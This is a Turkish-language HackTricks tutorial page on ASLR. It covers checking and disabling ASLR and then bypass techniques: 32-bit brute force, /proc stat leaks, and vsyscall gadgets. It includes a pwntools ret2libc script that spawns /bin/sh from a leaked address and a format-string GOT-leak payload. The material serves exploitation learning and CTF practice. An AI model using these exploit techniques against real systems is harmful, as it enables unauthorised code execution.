.. | ||
README.md | ||
ret2plt.md | ||
ret2ret.md |
ASLR
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Adres Alanı Düzeni Rastgeleleştirme (ASLR), işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini rastgeleleştirir. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifleten, yığın, bellek havuzu ve kütüphaneler gibi, tahmin etmek için saldırganın işini önemli ölçüde zorlaştırır.
ASLR Durumunu Kontrol Etme
Linux sistemlerinde ASLR durumunu kontrol etmek için, /proc/sys/kernel/randomize_va_space
dosyasından değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:
- 0: Rastgeleleştirme yok. Her şey statiktir.
- 1: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
- 2: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra
brk()
ile yönetilen bellek de rastgeleleştirilir.
ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:
cat /proc/sys/kernel/randomize_va_space
ASLR'nin Devre Dışı Bırakılması
ASLR'yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space
değerini 0 olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR'yi Etkinleştirme
ASLR'yi etkinleştirmek için, /proc/sys/kernel/randomize_va_space
dosyasına 2 değerini yazabilirsiniz. Genellikle kök izinleri gerektirir. Tam rasgeleleştirme etkinleştirme aşağıdaki komutla yapılabilir:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Yeniden Başlatmalara Karşı Kalıcılık
echo
komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf
dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf
dosyasını düzenledikten sonra değişiklikleri uygulamak için:
sudo sysctl -p
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
Atlatmalar
32 bitlik zorla kırma
PaX işlem adres alanını 3 gruba ayırır:
- Kod ve veri (başlatılmış ve başlatılmamış):
.text
,.data
ve.bss
—>delta_exec
değişkeninde 16 bit rastgele entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. mmap()
tarafından ayrılan Bellek ve paylaşılan kütüphaneler —>delta_mmap
adında 16 bit.- Yığın —>
delta_stack
olarak 24 bit. Ancak, etkili olarak 11 bit kullanır (10. ile 20. bayt arasında dahil), 16 bayt'a hizalanmıştır —> Bu, 524,288 olası gerçek yığın adresine yol açar.
Önceki veriler 32 bitlik sistemler içindir ve azaltılmış son entropi, saldırının başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlamayı mümkün kılar.
Zorla kırma fikirleri:
- Kabataslak kodun önünde büyük bir NOP kaydı barındıracak kadar büyük bir taşma varsa, yığında adresleri zorla kırabilir ve akışın NOP kaydının bir kısmını atlamasını sağlayabilirsiniz.
- Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, NOP kaydını ve shellcode'u bir ortam değişkenine eklemek mümkündür.
- Saldırı yerelse, libc'nin temel adresini zorla kırabilirsiniz (32 bitlik sistemler için faydalıdır):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Uzak bir sunucuyu hedef alıyorsanız,
usleep
libc
fonksiyonunun adresini kaba kuvvet uygulayabilirsiniz, örneğin 10 olarak argüman geçerek. Eğer sunucu cevap vermek için 10 saniye daha fazla zaman alıyorsa, bu fonksiyonun adresini buldunuz demektir.
{% hint style="success" %} 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün değildir. {% endhint %}
Yerel Bilgiler (/proc/[pid]/stat
)
Bir işlemin /proc/[pid]/stat
dosyası her zaman herkes tarafından okunabilir ve içinde şunlar gibi ilginç bilgiler bulunur:
- startcode & endcode: İkili dosyanın TEXT'inin üstünde ve altındaki adresler
- startstack: Yığının başlangıç adresi
- start_data & end_data: BSS'nin üstünde ve altındaki adresler
- kstkesp & kstkeip: Mevcut ESP ve EIP adresleri
- arg_start & arg_end: Komut satırı argümanlarının üstünde ve altındaki adresler
- env_start & env_end: Çevre değişkenlerinin üstünde ve altındaki adresler
Bu nedenle, saldırgan, söz konusu ikili dosyadan gelen taşmaları beklemeyen ancak farklı bir girişten oluşturulabilecek dosyayı okuduktan sonra oluşturulabilecek bir saldırganın, bu dosyadan bazı adresleri alıp bunlardan taşma için ofsetler oluşturmasına olanak tanır.
{% hint style="success" %}
Bu dosya hakkında daha fazla bilgi için https://man7.org/linux/man-pages/man5/proc.5.html adresinde /proc/pid/stat
aramasını yapın.
{% endhint %}
Sızıntıya Sahip Olmak
- Zorluk, bir sızıntı vermektedir
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek saldırı, buradaki örneğin çıkarımından alınmıştır (daha fazla ayrıntı için o sayfaya bakın):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Bir tampon taşması kullanarak ret2plt'yi istismar etmek, libc'den bir işlevin adresini dışarı sızdırmak mümkün olabilir. Kontrol edin:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Format Strings Arbitrary Read
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yapabilirseniz, GOT'dan bir libc işlevinin adresini dışarı sızdırmak mümkündür. Aşağıdaki örnek buradan:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Format Strings arbitrary read hakkında daha fazla bilgiyi şurada bulabilirsiniz:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
Stack içindeki adresleri istismar ederek ASLR'yi atlamayı deneyin:
{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}
vsyscall
vsyscall
mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar. vsyscalls'ın kritik avantajı, ASLR'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan sabit adreslerinde yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamalarını sağlar.
Ancak, burada çok ilginç araçlar bulunmayacak (örneğin, bir ret;
eşdeğerini almak mümkündür)
(Örnek ve kod bu yazıdan alınmıştır)
Örneğin, bir saldırgan, bir saldırıda 0xffffffffff600800
adresini kullanabilir. Doğrudan bir ret
talimatına atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilirken, vsyscall bölümü tarafından sağlanan bir syscall
'ın başına atlamak başarılı olabilir. Bir ROP aracını dikkatlice yerleştirerek, bu vsyscall adresine yürütme yönlendirilebilir ve saldırgan, bu saldırının bu kısmı için ASLR'yi atlamaya gerek duymadan kod yürütme başarabilir.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.